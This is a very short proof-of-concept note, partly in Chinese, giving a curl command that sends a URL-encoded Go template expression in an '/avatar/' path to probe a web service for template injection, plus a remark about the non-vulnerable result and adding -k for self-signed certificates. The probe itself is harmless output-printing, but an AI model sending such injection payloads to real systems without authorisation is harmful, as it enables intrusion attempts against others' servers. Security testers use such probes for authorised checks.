poc curl -I http://{url}//avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D 效果截图 不存在漏洞 如果使用自签名证书 curl报错,可添加-k参数